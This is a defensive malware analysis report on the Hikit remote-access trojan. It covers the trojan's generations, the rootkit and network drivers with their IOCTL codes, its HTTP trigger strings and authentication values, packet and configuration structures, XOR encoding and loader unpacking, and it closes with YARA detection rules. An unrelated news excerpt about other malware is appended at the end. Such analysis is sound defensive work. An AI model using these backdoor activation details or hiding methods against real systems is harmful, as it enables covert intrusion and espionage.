Hikit consists of at least two generations of malware that provides basic RAT functionality.
The first
generation of Hikit (referred to as “Gen 1”) operates as a server and requires an externally exposed
network interface in order for an attacker to access the victim machine.
The second generation of Hikit
(referred to as “Gen 2”) uses the more traditional client model and beacons out to an attacker’s C2
server.
While the communication models shifted dramatically between Gen 1 and Gen 2, both
generations of Hikit retain the same basic RAT function consisting of remote command shell, file
management, network proxy and port forwarding.
Both Gen 1 and Gen 2 sub-families of Hikit consist of a main DLL (referred to as “the DLL”) that
contains the RAT functionality; a kernel driver (referred to as “the Driver”) with Gen 2 also employs an
additional component: a loader executable.
The driver component of Gen 1 and Gen 2 are drastically
different in their operation and intent.
For the Gen 1 sub-family of Hikit, the driver acts as a NDIS
(network) driver that is responsible for interfacing the DLL to the network while preventing a direct
WinSock interface from occurring.
The Gen 1 Driver listens to network traffic arriving at the local
network interface and waits for a specific trigger string.
The trigger string varies by Driver and DLL
sample.
The Gen 2 Driver is a simpler system driver that acts as a rootkit to hide processes, registry
keys and network connections associated with Gen 2 activity on the victim’s system.
Gen 2 uses a standard client-server malware model meaning that the malware no longer requires a
direct Internet-facing network card, no longer uses a network driver for networking, and provides the
ability to network multiple Gen 2 samples behind a firewall with greater ease (from the attacker’s
perspective).
The Gen 2 sub-family, however, no longer employs network stealth provided by the Gen 1
network driver which exposes the C2 server addresses to analysts.
Each of the Hikit generations contains multiple sub-generations as the author(s) of Hikit have evolved
their code over time.
There is a noticeable steep improvement over the code base of Gen 1 Hikit family
during its 2011 development period.
The Gen 2 sub-generations share a similar improvement scale
between late 2011 and late 2013.
Evolution
The earliest known Hikit sample dates back to 31 March 2011.
Known as the Gen 1.0 sub-generation of
Hikit Gen 1, the first known sample of Hikit deviated from the later traditional Gen 1 model.
The Gen 1.0
sample was a standalone executable whereas subsequent Gen 1 sub-generations use a DLL running
as a service.
The Gen 1.0 sample is clearly a work-in-progress.
The Gen 1.0 sample, while different
than subsequent sub-generations, does still rely on the Driver component and for the most part the
structure of the code does not differ much going forward into the Gen 1 evolution.
Less than three weeks after Gen 1.0, the author(s) of Hikit move into Gen 1.1.
The notable change is
that the Hikit model of using a DLL and driver, which has remained until present day, comes into being.
The code matures slightly between Gen 1.0 and Gen 1.1 but the functionality does not change.
Both
Gen 1.0 and Gen 1.1 use plaintext data transmissions.
Development appears to halt on Gen 1 for 4 months between 20 June 2011 and 23 October 2011
based on a lack of available samples found.
During this time the development of Hikit appears to
change locations.
Gen 1 samples have Program Database (PDB) file strings that identify the file path of
the Hikit source code.
For Gen 1.0 and Gen 1.1 samples, the file path of the Hikit source code is
consistently h:\JmVodServer\hikit.
Starting with Gen 1.2, the file path switches to
e:\SourceCode\hikit_new.
It is at this time that the functionality of Hikit Gen 1 begins to mature.
In Gen 1.2, the communication between the infected machine and the attacker is encrypted using an
XOR mask.
A more subtle change is the renaming of the “socks5” command to simply “proxy” within
the code.
The code within Hikit begins to mature but the overall functionality does not expand beyond
the original set of commands found in Gen 1.0.
The other remarkable change within the Gen 1.1 to Gen
1.2 development is the way in which the session handshake trigger operates.
In Gen 1.0 and Gen 1.1,
the DLL instructs the Driver to listen for a specific string (typically a HTTP request string) and responds
with another string.
In Gen 1.2, the Driver has a hardcoded trigger string (a specific HTTP request
string) and the DLL instructs the Driver to inspect a specific HTTP header field for a specific
hexadecimal value.
This moves Gen 1.2 into more of a username/password authentication scheme
whereas previous sub-generations could potentially be accessed by accidental HTTP requests.
At the
same time, the Driver responds with a specific value with in the Etag HTTP header field.
This places
Gen 1.2 into a more stealth position as a random, non-HTTP compliant response from Gen 1.0 and
Gen 1.1 samples is more obvious than a legitimate HTTP response with a specially crafted Etag
header.
Gen 1.2’s development cycle appears to exist between 23 October 2011 and 2 November 2011 with
several new samples being found on the Internet having legitimate compile times during this time
window.
There is, however, evidence that the development of Hikit Gen 1 and Gen 2 overlap by several
months.
The earliest Gen 2 sample known to exist dates to 28 August 2011, two months before the first
known Gen 1.2 sample.
The last known Gen 1.2 sample, and by extension, the last known Gen 1
sample, dates to 9 April 2012.
The first known Gen 2 sub-generation, Gen 2.0 Alpha, much like Gen 1.0, represents an early
development version of the Gen 2 Hikit sub-family.
Gen 2.0 Alpha is a stand-alone Windows console
executable that can run as a service executable.
Gen 2.0 Alpha supports the same commands as Gen
1.2 with an additional command that returns the infection’s configuration information.
On 9 February 2012 the first known sample for Gen 2.0 Beta is compiled by the developer(s) of Hikit.
Also a stand-alone console executable like Gen 2.0 Alpha, the Gen 2.0 Beta code changes internally
without providing significant functionality improvements with the exception of now the executable uses
a device driver to hide network, file, and registry artifacts related to its operation.
Both Gen 2.0 Alpha
and Gen 2.0 Beta still retain PDB file path information within their binaries.
During the development
phase of Gen 2.0 Alpha, development of the Gen 2.0 Alpha variants changes locations.
First version of
the Gen 2.0 Alpha malware, from 28 August 2011, has the PDB path located in
H:\JmVodServer\Matrix_new2 whereas the file path for later Gen 2.0 Alpha and Gen 2.0 Beta
binaries has the PDB path in E:\SourceCode\Matrix_new which suggests that the source code for
both Gen 1 and Gen 2 existed on the same machine and moved at roughly the same time.
This may
indicate either a single developer or a team (or set of teams) with shared resources.
The first known Gen 2.1 binary has a compile date of 17 April 2012.
Gen 2.1 represents the first Gen 2
sub-generation to use an executable-based loader, DLL and driver model, a model that all subsequent
Gen 2 sub-generations employ.
The functionality of the Gen 2.1 sub-generation is the same as the
previous generations with no new commands being introduced.
Gen 2.1 is the first sub-generation in
the Gen 2 sub-family to introduce 64-bit binaries.
The Gen 2.2 sub-generation appears to have begun on 20 July 2012.
Gen 2.2 is notable for altering
where the configuration information of the RAT is stored and using both DLL-based and executable-
based loaders.
Also notable is the fact that the sub-generation spans a significant amount of time with
intermittent periods of development.
The bulk of the Gen 2.2 samples that have the tell-tale marks of
being the product of a builder have a compile date of 26 July 2013, a full year after the first known Gen
2.2 sample.
Between 21 July 2012 and 20 February 2013, there are no known Gen 2.2 binaries.
The
two 20 July 2012 samples have different compile times indicating they were not the product of a builder
but rather unique compilations.
Between 21 February 2013 and 27 February 2013, there are 4 unique
compilation dates for the DLL component with 7 unique, known Gen 2.2 DLLs.
The bulk of Gen 2.2
samples have a compile date of 26 July 2013.
There are approximately 25 known Gen 2.2 DLLs with
the 26 July 2013 compile date.
The Gen 2.2 sub-generation appears to exist through at least 19
September 2013.
The last known Gen 2 sub-generation, Gen 2.3, began on 12 December 2013.
Gen 2.3 is notable for its
use of a legitimate SSL certificate as part of the handshake between the infected machine and the
attacker’s C2.
The DLL will send a legitimate SSL certificate as a means to disrupt heuristic IDS
sensors that look for encrypted traffic.
Another interesting aspect of the Gen 2.3 sub-generation is that
there is no longer a marker to designate the beginning of the embedded configuration.
Gen 2.1 and
Gen 2.2 uses a specific string to indicate the beginning of the embedded configuration presumably in
order to allow the builder to locate the configuration space when constructing a new configuration for
the binaries.
Gen 2.3, however, uses a specific location instead, requiring the builder to calculate the
specific location using the PE/COFF header of the binary.
Also, while Gen 2.1 and Gen 2.2 retain the
configuration within the DLL component, Gen 2.3 stores the configuration within the loader component.
This allows the attackers to configure the loader without having to update the DLL.
The evolution of Hikit is a long and drawn out series of small, incremental development changes.
The
important take away from the evolution of Hikit is that the developers for Gen 1 appear to have changed
in late 2011 and development of Gen 2 has a several month overlap with the development and usage
of Gen 1.
The following table provides a quick reference to the generational (and sub-generational)
designations of Hikit.
August
28, 2011
Timeline Outlined in Appendix A: HiKit Versions
The Driver
The Driver component for Hikit varies based on the specific Hikit sub-family (Gen 1 or Gen 2).
As such
it is necessary to describe each in the context of its specific sub-family.
Gen 1 Driver
The Driver component of Gen 1 Hikit variants provides the interface between the victim’s network
interface card (NIC) and the DLL.
The Driver is a NDIS (network) driver that integrates into the victim’s
network stack.
The Driver intercepts any and all network communication that traverses the Windows
network stack and potentially removes the data from the network stack under very specific conditions.
When the Driver removes data from the network stack, the Driver stores the removed data in local
buffers for the Gen 1 DLL to query against.
The purpose of this behavior is to allow the DLL to interact
with the network without utilizes the WinSock API which could potentially reveal the presence of Hikit.
In order to interact with the Driver, the DLL uses the function
IoDeviceControl
to send commands to
the Driver.
The Driver registers itself at both
\Device\w7fw
and
\DosDevices\w7fw
thereby
allowing the DLL to access the Driver by performing a
CreateFile
request to
\\.\w7fw
or
\\.\Globals\w7fw in order to obtain a handle to the Driver.
The Driver’s interface supports the
following OIDs:
OID             Function
0x12C828        No-op
0x12C82C        Retrieves bytes from the recv queue.
0x12C830        Add bytes to the xmit queue.
0x12C838        Set key value (the trigger value)
0x12C840        Change mode for current process’s channel to 2
0x12C844        Activates channel
0x12C848        Shuts down a channel by flushing all queued packets/data to the network with ACK|FIN
set in the flags
0x12C84C        Returns the current mode for a given channel
0x12C850        Get the Driver’s version
The Driver will remove data from the network stack only if a new channel is being established.
A new
channel occurs when the Driver detects a trigger string.
The trigger string is typically a short form HTTP
request with the following trigger strings found in the wild:
Generation(s)    Trigger String                   Authentication Response Value
Value
Gen 1.0, 1.1     GET /password                                   .welcome.
HTTP/1.1\r\n\r\n
Gen 1.2          GET / HTTP/1.1\r\n               75BCD15         HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: text/html
ETag: "{other
digits}75BCD15{other digits}:{3 hex
digits}"
Connection: Keep-Alive
Gen 1.2          POST / HTTP/1.1\r\n              75BCD15         HTTP/1.1 200 OK
Pragma: no-cache
Content-Type: text/html
ETag: "{other
digits}75BCD15{other digits}:{3 hex
digits}"
Connection: Keep-Alive
Up to and including Gen 1.1 Drivers required the DLL to specify the trigger string in addition to the
authentication value whereas Gen 1.2 Drivers had the trigger strings hardcoded.
In Gen 1.2, whenever the Driver detects a trigger string, the Driver inspects the rest of the data
received for the authentication value.
If the token follows the trigger string (there is no specific limitation
on how far from the trigger string the password token must be), then the Driver generates a new
channel that the DLL will use as the conduit between the DLL and the client.
The Driver appears to be based off the NDIS example source code PassThru.
More specifically, the
author(s) of the Driver appear to have used the modified version of the PassThru example,
PassThruEx, by James Antognini and Thomas Devine from a 2003 blog post1.
Gen 2 Driver
The Gen 2 sub-family, beginning with Gen 2.0 Beta, employs a Windows device driver (“the Driver”) to
hide aspects of the DLL’s functionality from normal system processes.
The Driver is a relatively
straightforward piece of software.
It does not attempt to obfuscate its functionality from static analysis
and it hooks a minimum number of kernel API functions in order to hide different pieces of information.
The Driver is based primarily on the open source Agony rootkit2 and it has evidence of some portions of
the code coming directly from a Chinese blog3.
The Driver expose an IOCTL interface that supports the following OIDs:
OID                                                                                                                  Function
0x22C000                                                                                                             Add driver (system module) to hide.
0x22C004                                                                                                             Reveal all hidden items.
0x22C008                                                                                                             Add IP:Port endpoint to hide.
0x22E000                                                                                                             No-Op
0x22FFD0                                                                                                             Remove PID from hidden list.
0x22FFD4                                                                                                             Add PID to list of PIDs to hide.
0x22FFD8                                                                                                             Add service to list of services to hide.
0x22FFE0                                                                                                             Add local port to list of ports to hide.
0x22FFE4                                                                                                             Currently unused.
Evidence suggest this was previously a port hiding function, but it
is no longer functional.
0x22FFE8                                                                                                             Currently unused.
It is unclear the purpose of this function.
It takes a string as its
argument.
0x22FFEC                                                                                                             Add directory to list of directories to hide.
0x22FFF0                                                                                                             Add registry key to list of registry keys to hide.
0x22FFF4                                                                                                             Add registry key value to list of registry values to hide.
0x22FFFC                                                                                                             Purge all hooks and hidden items ("unhook")
The Driver is capable of hiding processes (by PID, not name), system modules, services, network
connections, listening ports, directories (and by extension, files), as well as registry keys and values.
In
order to hide these items, the Driver hooks various Windows Kernel API calls.
The following table maps
the items the Driver can hide to the API function that the Driver hooks:
Item                                                                                                                                                        API Function Hooked
Process ID                                                                                                                                                  ZwDeviceIoControlFile
(PID)
Registry Key                                                                                                                                                ZwEnumerateKey
Registry Value                                                                                                                                              ZwEnumerateValueKey
Directory                                                                                                                                                   QueryDirectoryFile
1
James
Antognini
and
Thomas
F.
Divine.
“Extending
the
Microsoft
PassThru
NDIS
Intermediate
Driver—Parts:
Two
IP
Address
Blocking
NDIS
IM
Drivers”.
December
15,
2003
2
pudn.
“Agony
Rootkit
code,
the
stability
and
can
be
useful
Driver
Develop”.
http://en.pudn.com/downloads74/sourcecode/windows/vxd/detail265112_en.html.
8
April
2007.
3
CardMagic.
“[Reserved]
NSI
Module
Hook:
Hiding
Port
Under
Windows
Vista”.
http://forum.eviloctal.com/archiver/tid-­‐
29604.html.
8
July
2007.
Item              API Function Hooked
Local Listening   ZwDeviceIoControlFile
Port
Remote            ZwDeviceIoControlFile
Endpoint
Loaded Drivers    ZwQuerySystemInformation
In order to hide services, the Driver will access the memory of the services.exe process, locate the
linked list of services and remove the service entry that the Driver wishes to hide.
This is a surprisingly
invasive method to obfuscate a process.
Upon activation, the Driver will expose its interface by calling
IoCreateDevice
with the name
\Device\agony
(for Gen 2.0 Beta samples), \Device\HTTPS
(for Gen 2.1 samples),
\Device\advcachemgr
(for Gen 2.2 samples) or \Device\diskdump
(for Gen 2.3 samples).
The
Driver also creates a symbolic link to the device using the same name but under the
\DosDevices\
tree.
For reasons unknown, the authors of the Driver used code from a Chinese blog that details how to hide
network connections on Windows Vista and later decided to keep the example IP address within the
code.
Functionality and Commands
The Hikit family has supported roughly the same set of commands since the first known samples of
Gen 1.0.
Gen 2.0 introduced a single command to provide insight into an infected machine’s Hikit
configuration (something that is not necessary for Gen 1 variants since they are server-based).
The
RAT supports the following commands:
Command       Introduced   Description
shell         Gen 1.0      Establishes a remote command shell on the victim machine
file          Gen 1.0      File managerment
connect       Gen 1.0      Establishes a tunnel connection (e.g.
port forwarding) through
another Hikit sample
socks5        Gen 1.0      Establishes a forwarding proxy (retired in Gen 1.2)
proxy         Gen 1.2      Establishes a forwarding proxy
information   Gen 2.0      Returns the configuration for the Hikit infection
Alpha
exit          Gen 1.0      Terminates a channel
Command:  shell
The
shell
command activates a remote shell on the victim’s computer.
The remote shell function uses
the standard pipe redirection method for interfacing a network application (in this case, the DLL) to a
hidden command shell.
Command:  file
The
file
command provides an attacker with a variety of disk access options such as listing
directories, changing the current directory, and uploading and downloading files.
Command:  connect
The
connect
function provides the functionality to allow one Hikit DLL to interface with another DLL of
a similar version.
The use of this functionality can best be illustrated by considering the fact that the
Gen 1 Driver requires an exposed network interface in order for an external attacker to access the Gen
1’s RAT function.
This would prohibit lateral movement within a victim’s network as the bulk of any
organization’s network infrastructure is not directly exposed to the Internet.
By using the connect
command, an attacker can instruct the externally exposed Gen 1 DLL to route traffic to a Gen 1 DLL
that is behind the firewall, effectively making the externally exposed Gen 1 DLL a local router for Hikit
traffic.
Command:  proxy (Gen 1.2 and later), socks5  (Gen 1.0 and 1.1)
The
proxy
(or
socks5) command allows an attacker to utilize a Hikit-infected machine as a proxy.
Command:  information
Gen 2 samples rely on a configuration in order to know where the C2 server exists along with other
operational aspects such as the name of its service and operational times.
This information is important
for the attacker to have access to in order to determine if any aspect of the configuration is out of date
(thus requiring a new variant of the Gen 2 binary to be configured and deployed).
The
information
command returns to the attacker the complete configuration and current state of the Gen 2 malware.
Command:  exit
As the name implies, the
exit
command causes the DLL to discontinue the current connection.
Hikit Core Analysis
With the Gen 1 sub-family using a server model and the Gen 2 sub-family using the client model,
understanding how each of the DLL components of the sub-families works is best done, as with the
Driver above, in the context of the specific sub-family.
Gen 1 Analysis
As noted previously in this report, the Gen 1 sub-family has several sub-generations but overall the
functionality of the Gen 1 sub-family has remained constant.
With the exception of Gen 1.0, the
functionality of Gen 1 comes from the DLL component (Gen 1.0 uses a stand-alone executable to
achieve the same results).
The DLL operates as a service, requiring an attacker is install the DLL as a
service at some point prior to activation.
The DLL contains only two exports: DllEntryPoint
and
DllRegisterServer.
Ultimately, both exports generate a new thread of the same function
(“mainThread”).
The difference between the two exports is that DllRegisterServer
can take an
optional command line argument of the letter “u” which will instruct the main thread to uninstall the Gen
1 system from a victim’s computer.
If the uninstall argument exists,
mainThread
will simply remove the
Driver from the victim’s machine and terminate.
The authors of Gen 1 used freely available source code
found online for their removal function.4
4
PCAUSA.
“Programmatically
Installing
NDIS
Protocol
Drivers”
http://www.ndis.com/ndis-­‐
general/ndisinstall/programinstall.htm.
2
December
2013.
When the DLL activates, either by a call to
DllEntryPoint
or by calling
DllRegisterServer
without the u parameter,
mainThread
begins by verifying the version of the Driver installed on the
victim’s machine.
This requires sending OID 0x12C850 to the Driver and comparing the resulting 32-bit
value with the required driver version.
If the version is incorrect (i.e.
it doesn’t match the specified
version), the DLL installs the version of the Driver found within the DLL’s resource section (under the
BIN
resource tree).
With the Driver version verified (or forcibly corrected by installing the appropriate Driver), the DLL will
instruct the Driver to use a specified string (for Gen 1.0 and Gen 1.1 samples) or a DWORD (for Gen
1.2 samples) as the acknowledgment value to send to a connecting client who requests the appropriate
URL.
The DLL again checks the version of the Driver and, in some versions of the DLL, will print a
message indicating the version of the Driver installed and report the “Transate version” (the word
translate is misspelled within the binary).
It appears that the Driver and the communication protocol
version do not necessarily have to match exactly, allowing the possibility that the Driver and the DLL
could be compiled at separate times.
If the Driver version is less than the “Transate” version (indicating
that the Driver is a version too old to support the necessary communication protocols), the DLL will, in
some version of the DLL, print out a line to the screen indicating the DRIVER_MIN_VERSION
required
along with the current Driver version.
Following this, the DLL will then attempt to install the correct
version of the Driver prior to terminating.
It is unclear why this code exists given that the DLL will check
the Driver version and correct the Driver if necessary prior to reaching the portion of the code that
reports the
DRIVER_MIN_VERSION.
It is possible that the second Driver version check is a last ditch
effort to ensure the correct Driver is installed.
The DLL enters an infinite loop where the DLL waits for the Driver to report a new channel exists.
A
channel represents an established connection between the Driver and an external party that has
provided the proper initial request and, for Gen 1.2 variants, provided the proper authentication value.
When the Driver establishes a new channel, the DLL generates a runtime data structure before
generating a new thread (“HikitThreadFunc”) which will service any request coming from the new
channel.
This allows the DLL to service multiple channels at one time.
The HikitThreadFunc
function is, at its core, a simple wait and respond loop.
The function begins by
transmitting a Hikit command prompt to the client (Hikit>) before settling into an infinite loop of
•   Read data from channel (wait until data is available)
•   [For Gen 1.2] Decrypt the packet header
•   Verify the packet header to ensure the communication version is correct and the payload data
size is non-zero
•   Read the remainder of the packet (e.g.
the payload portion)
•   If the packet type field (dwPacketType) is zero, send the payload section to the command
processor.
•   Send the Hikit prompt
The communication scheme between the DLL and the client consists of a 20 to 24 byte header (for Gen
1.0 and Gen 1.1) or a 28 byte header (for Gen 1.2) followed by an optional payload.
The format of the
Gen 1.0 and Gen 1.1 header is as follows:
struct PacketHeader
{
char magic[5];
char zeros[3];
DWORD dwHikitVersion;
DWORD dwCmdType;
DWORD dwLocale;     // omitted in some Gen 1.0 variants
DWORD dwPayloadSize;
};
While the Gen 1.2 header is:
struct PacketHeader
{
DWORD key;
DWORD dwHikitVersion;
DWORD dwPacketType;
DWORD dwLocale;
DWORD dwCodePage;
DWORD dwPayloadSize;
};
For Gen 1.0 and Gen 1.1 samples, the magic field contains the string “.. ..”
(two dots followed by a
space then two more dots).
Whereas the key field in Gen 1.2 samples contains a 32-bit value that
represents the XOR key for the remainder of the PacketHeader and any additional payload data.
The
XOR scheme works on 32-bit chunks of data where each 32-bit chunk of data is XOR’d against the key
value.
Version checking is important in all Gen 1 variants.
The dwHikitVersion
field allows the client and
the DLL to ensure that they have a compatible communication scheme in place prior to executing
commands.
Gen 1 samples have a particular interest in the victim’s locale language preferences.
While it is typical
for most RATs that provide remote shells to simply pass data unfiltered from client to server and server
to client without regard to code pages, Gen 1 samples take special care to record the code page and
locale information in each and every packet header that traverses the divide between client and server
and server and client.
This could indicate that the authors of Gen 1 understood from an early stage in
the development of Gen 1 that they would be attacking computer systems with different locales and
code pages.
Gen 2 Analysis
The Gen 2 sub-family, like Gen 1.2, uses a DLL for the core of its RAT functionality.
In order for the
DLL to load, Gen 2 (starting with Gen 2.1) uses a loader application (referred to simply as “the
Loader”).
The Loader comes in the form of a standard executable image or a DLL image.
Despite the
different models, both variants of the Loader load the embedded DLL in the exact same way.
The only
difference between the executable and DLL versions of the Loader comes in how they handle the
initialization of the embedded DLL.
Figure 1: DLL (left) and executable (right) Loader startup routines
Figure 1 provides a side by side comparison of the startup routines for the executable and DLL
Loaders.
Both versions of the Loader begin by loading the embedded DLL from the Loader’s resources
(item 102 under the Group Icons resource tree), decrypting and decompressing the image into memory,
then manually loading the DLL into memory using a custom loading routine.
The function
LoadEmbeddedImage, as seen in part in Figure 2, is responsible for this operation.
Figure 2: LoadEmbeddedImage function snippet
The Loader obfuscates many strings by using a simple XOR encoding scheme.
Decryption of encoded
strings consists of taking the first value of the string as the XOR key, XOR’ing all subsequent bytes until
the result of the XOR returns 0.
The decoding of the encoded strings is handled by the DecodeString
function.
The Loader stores the embedded DLL within a Group Icon resource within a legitimate icon image.
In
order to locate the embedded DLL,
LoadEmbeddedImage
will use the
DecodeString
function to
decrypt the delimiter string (which is typically
zzzzzzzzzz
or
yyyyyyyyyy) and then search the icon’s
resource memory for the delimiter string.
Once located,
LoadEmbeddedImage
will use the first 12
bytes immediately after the string as the information structure about the embedded DLL.
The structure
(seen below) defines the size of the embedded DLL within the icon’s resource memory, the size of the
DLL after it is decompressed and a 4-byte XOR key that
LoadEmbeddedImage
must use to decode
the embedded DLL prior to decompression.
struct ImageHeader
{
DWORD dwImageEncodedSize;
DWORD dwImageSizeDecompressed;
DWORD EncodingKey;
};
LoadEmbeddedImage
copies the compressed embedded DLL into a newly allocated heap buffer and
then calls the function
decodeBuffer
(using the
EncodingKey
value) to decrypt the embedded DLL.
Another heap buffer is allocated with a size equal to the value of
dwImageSizeDecompressed.
The
decompression buffer along with the now decoded compressed buffer are given to lzo_decompress
which decompresses the compressed image using the LZO1X algorithm5.
With the embedded DLL now decompressed into a heap buffer, LoadEmbeddedImage
calls
ImageLoaderData::LoadDll
to manually load the DLL into memory.
ImageLoaderData::LoadDll
interprets the PE/COFF header of the DLL image, loads the image
into the appropriate memory configuration, performs the necessary relocation operations, and calls the
DllMain
(DLL’s entry point) function.
After loading the embedded DLL image into memory, the Loader will either call the DLL’s
StartServer
or
MatrixMain
function depending on the type of Loader.
The standalone Loaders use
the
MatrixMain
function while the DLL Loaders will call the
StartServer
function.
The Loaders,
upon unloading, will call the StopServer function in order to shut down the embedded DLL.
The Gen 2 DLL exposes five exported functions (besides the
DllEntryPoint/DllMain).
Export Name                                                                                                                                                               Description
DllRegisterServer                                                                                                                                                         If the Gen 2 RAT is running, waits for the RAT to shut down before returning.
MatrixMain                                                                                                                                                                Activates the Gen 2 RAT (called from a stand-alone Loader)
SetModuleHandle                                                                                                                                                           The given parameter becomes the new module handle for the RAT.
StartServer                                                                                                                                                               Activates the Gen 2 RAT (called from a DLL Loader)
StopServer                                                                                                                                                                Stops the Gen 2 RAT (called from a DLL Loader)
MatrixMain
and
StartServer
both ultimately generate a new thread (using the POSIX API function
beginthreadex
instead of the more common
CreateThread) that contains the main loop of the Gen
2 RAT functionality.
MatrixMain, however, has added functionality.
The prototype for MatrixMain is as
follows:
int MatrixMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR
lpCmdLine, int nShowCmd))
5
Markus
F.X.J.
Oberhumer,
“LZO
real-­‐time
data
compression
library”
http://www.oberhumer.com/opensource/lzo/.
29
June
2014.
where Arguments parameter can be:
Arguments string                                 Purpose
test {DWORD identifier (IP?)}
Overrides the current configuration with the given
{listening Port} [C2 address] [C2 port]          settings.
The C2 arguments are optional.
i                                                Installs trojan service
u                                                Uninstalls the trojan service
s                                                Sets the SHOW flag for the service to instruct the
Driver to reveal the service.
h                                                Sets the HIDE flag for the service to instruct the
Driver to hide the service.
q                                                Sets the STOP flag for the RAT.
If the i
parameter is given, the DLL will install itself as a service on the victim’s machine.
The DLL will
create a new service (e.g.
“Network DDE Service”) and assign itself as the executable for the service.
The DLL’s RAT functionality provides basic features such as network port forwarding (proxying), file
transfer, and remote command shell.
The RAT functionality provides an attacker with the ability to
establish a phantom network within a victim’s infrastructure by having individual instances of Gen 2 DLL
listen for incoming connections on local ports (presumably, NAT’d ports) and accept commands from
the inbound connection.
This allows an attacker to establish several Gen2 infections within a victim’s
infrastructure and if outbound connectivity is prohibited for any of the infected machines, the attacker
can route commands to the pseudo-isolated infections through accessible infected machines providing
a high level of persistence to the malware.
Each Gen 2 infection can support up to 10 listening ports.
The communication between the Gen 2 malware and the C2 (or other Gen 2 malware, in the case of
the internal routing functionality) is encrypted using a simple DWORD XOR scheme.
Each
communication burst (either between the malware and the C2 or the malware and neighboring
malware) begins with a 24-byte header identical to the header found in Gen 1.2.
Immediately following
the header is the type-specific (as indicated by the
dwPayloadType field) payload data.
Note that the
dwXORKey
value is NOT encoded with the XOR value, but rather is the value that is used for encoding
the header and payload.
Each DLL includes a hardcoded, default configuration.
At the time that the RAT functionality activates,
the DLL will drop the current configuration to disk.
If the configuration file already exists, then the RAT
will use the file version of the configuration over the default configuration.
The configuration data
structure (seen below) doubles as a current state record for some aspects of the communication
subsystem of the DLL.
When stored on disk, the configuration is preceded by a GUID value (16 bytes)
that represents the unique identifier for the specific infection.
The configuration is XOR encoded using
the first 4 bytes (as a DWORD) of the GUID.
struct Config
{
WCHAR wszComment[32];
C2ConfigInfo arrC2s[2];
ListeningPortConfig ListeningPorts[10];
int dwStartTime;
int dwEndTime;
__int16 Flags;
SYSTEMTIME sleepUntil;
__int16 unused_align2_2;
int fRunHidden;
};
struct C2ConfigInfo
{
WCHAR wszAddress[32];
__int16 wPort;
__int16 unused_align2;
int fValidC2;
};
struct ListeningPortConfig
{
unsigned __int16 wPort;
unsigned __int16 unused_align2;
int fReady;
SOCKET hSocket;
HANDLE hEvent;
HANDLE hListenerThread;
};
In order to provide some level of stealth, the RAT will install a rootkit on 32-bit versions of Windows.
The DLL contains a device driver image embedded within an encoded buffer which the RAT
functionality code will extract to the %TEMP%
directory (after XOR’ing the buffer with 0x76).
To activate
the rootkit, the RAT functionality code creates a service with the driver in the %TEMP%
directory as the
executable for the service.
The RAT functionality code then activates the service and opens a handle to
device driver’s interface (e.g.
\Globals\HTTPS).
With the handle open to the rootkit driver, the RAT
functionality code deletes the service in order to reduce the visible footprint of the new driver.
To further
reduce the footprint of the driver, the RAT functionality code also uses the cloaking functionality of the
rootkit to hide the DLL’s PID, any references to the GUID {4AE26357-79A3-466D-A6D9-
FC38BFB67DEA}, the DLL’s service names (e.g.
“NetDDESrv” and "Network DDE Service") and the
service entry as well.
Additionally, the code also attempts to hide a service named “Hitx”.
Support Software
In addition to the main Hikit malware, there are at least two examples of support programs that belong
to the Hikit family.
Samples b04de6c417b6f8836e3f2d8822be2e68f4f9722b and
7c4da9deff3e5c7611b9e1bd67d0e74aa7d2d0f6 are examples of Gen 1.0 and Gen 1.2 operator
consoles.
The console is a text based application that takes a Gen 1.0 or Gen 1.2 infection’s IP address
and proceeds to connect and authenticate with the infected server.
Once connected, the operator has
the basic Hikit functionalities available to them via commands such as file and shell.
Detection
Detecting Hikit variants on disk and in memory is possible using the following YARA signature
developed by Symantec:
rule hikit
{
strings:
$hikit_pdb1 = /(H|h)ikit_/
$hikit_pdb2 = "hikit\\"
$hikit_str3 = "hikit>" wide
$driver    =   "w7fw.sys" wide
$device    =   "\\Device\\w7fw" wide
$global    =   "Global\\%s__HIDE__" wide nocase
$backdr    =   "backdoor closed" wide
$hidden    =   "*****Hidden:" wide
condition:
(1 of ($hikit_pdb1,$hikit_pdb2,$hikit_str3)) and ($driver or
$device or $global or $backdr or $hidden)
}
rule hikit2
{
strings:
$magic1 = {8C 24 24 43 2B 2B 22 13 13 13 00}
$magic2 = {8A 25 25 42 28 28 20 1C 1C 1C 15 15 15 0E 0E 0E 05 05 05
00}
condition:
$magic1 and $magic2
}
rule hidkit
{
strings:
$a = "---HIDE"
$b = "hide---port = %d"
condition:
uint16(0)==0x5A4D and uint32(uint32(0x3c))==0x00004550 and $a and $b
}
Detecting nominal Gen 1.2 and later network activity is problematic given the nature of the
communication structure.
The encrypted nature of the nominal Gen 1.2 and later network traffic makes
a signature difficult.
Snort signature 30948 may detect some Hikit based network traffic for only Gen 1.0
and Gen 1.1.
From a system objects perspective, Gen 2 samples produce up to three named events.
The event
names change per infection, but have a common format.
The following three strings represent the
known mutex strings for Gen 2 samples:
Global\%s__SHOW__
Global\%s__HIDE__
Global\%s__STOP__
where the %s format variable is replaced with a UUID value string specific to the infected machine.
Appendix A: HiKit Versions
Generation   Starting Date      Notable Features
Identifier
Gen 1.0      31 March 2011      First known Hikit samples.
Stand-alone console executable.
Gen 1.1      18 April 2011      Uses DLL and driver model.
Gen 2.0      28 August 2011     First client-based Hikit variants.
Stand-alone console
Alpha                           executable.
Does not use a device driver.
Encrypted
communication.
Gen 1.2      23 October 2011    Command “socks5” changes to “proxy”.
Encrypted
communication.
Gen 2.0      27 February 2012   Introduces the use of the device driver.
Beta
Gen 2.1      17 April, 2012     First known production variant of the Gen 2 family.
Uses the
concept of the Loader, the DLL and the Driver as a complete
system.
Gen 2.2      21 February 2013   Changes storage location for configuration file.
Largely similar
to Gen 2.1.
DLL-based and executable-based loaders.
Largest
in-service time span.
Gen 2.3      12 December        Significantly more advanced authentication when doing intra-
2013               malware communication.
Use of SSL certificate during
handshake.
Survival of the Fittest: New York Times Attackers Evolve Quickly
The attackers behind the breach of the New York Times’ computer network late last year appear to be
mounting fresh assaults that leverage new and improved versions of malware.
The new campaigns mark the first significant stirrings from the group since it went silent in January in the
wake of a detailed expose of the group and its exploits — and a retooling of what security researchers
believe is a massive spying operation based in China [1].
The newest campaign uses updated versions of Aumlib and Ixeshe.
Aumlib, which for years has been used in targeted attacks, now encodes certain HTTP communications.
FireEye researchers spotted the malware when analyzing a recent attempted attack on an organization
involved in shaping economic policy.
And a new version of Ixeshe, which has been in service since 2009 to attack targets in East Asia, uses new
network traffic patterns, possibly to evade traditional network security systems.
